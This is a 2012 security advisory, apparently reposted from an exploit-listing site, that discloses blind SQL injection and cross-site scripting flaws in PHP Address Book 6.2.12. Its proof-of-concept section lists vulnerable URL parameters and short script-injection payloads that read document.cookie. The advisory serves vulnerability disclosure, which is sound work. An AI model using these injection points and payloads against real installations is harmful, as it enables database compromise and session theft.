PHP Address Book 6.2.12 Multiple security vulnerabilities

2012.09.10
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-79
CWE-89

Advisory: PHP Address Book 6.2.12 Multiple security vulnerabilities Advisory ID: SSCHADV2012-007 Author: Stefan Schurtz Affected Software: Successfully tested on PHP Address Book 6.2.12 Vendor URL: http://sourceforge.net/projects/php-addressbook/ Vendor Status: informed EDB-ID: 18578 CVE-ID: CVE-2012-1911, CVE-2012-1912 ========================== Vulnerability Description ========================== PHP Address Book 6.2.12 is prone to multiple XSS and SQL-Injection vulnerabilities ================== PoC-Exploit ================== // (Blind) SQL-Injection http://[target]/addressbook/edit.php?id=[sql-injection] http://[target]/addressbook/group.php?add=Add to&group=1&selected%5b%5d=132&to_group=[sql-injection] http://[target]/addressbook/vcard.php?id=[sql-injection] // XSS http://[target]/addressbook/preferences.php?from='"</script><script>alert(document.cookie)</script> http://[target]/addressbook/index.php?group='"</script><script>alert(document.cookie)</script> ========= Solution ========= - ==================== Disclosure Timeline ==================== 03-Mar-2012 - vendor informed ======== Credits ======== Vulnerabilities found and advisory written by Stefan Schurtz. =========== References =========== http://sourceforge.net/tracker/?group_id=157964&atid=805929 http://www.darksecurity.de/advisories/2012/SSCHADV2012-007.txt http://osvdb.org/show/osvdb/80832 http://osvdb.org/show/osvdb/80833 http://osvdb.org/show/osvdb/80834

References:

http://xforce.iss.net/xforce/xfdb/73944
http://www.securityfocus.com/bid/53598
http://www.securityfocus.com/bid/52396
http://www.exploit-db.com/exploits/18578
http://www.darksecurity.de/index.php?/215-SSCHADV2012-013-PHP-Address-Book-7.0.0-Multiple-security-vulnerabilities.html
http://www.darksecurity.de/advisories/2012/SSCHADV2012-007.txt
http://sourceforge.net/tracker/?func=detail&aid=3527242&group_id=157964&atid=805929
http://sourceforge.net/tracker/?func=detail&aid=3501716&group_id=157964&atid=805929
http://sourceforge.net/tracker/?func=detail&aid=3496653&group_id=157964&atid=805929
http://secunia.com/advisories/49212
http://secunia.com/advisories/42781


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top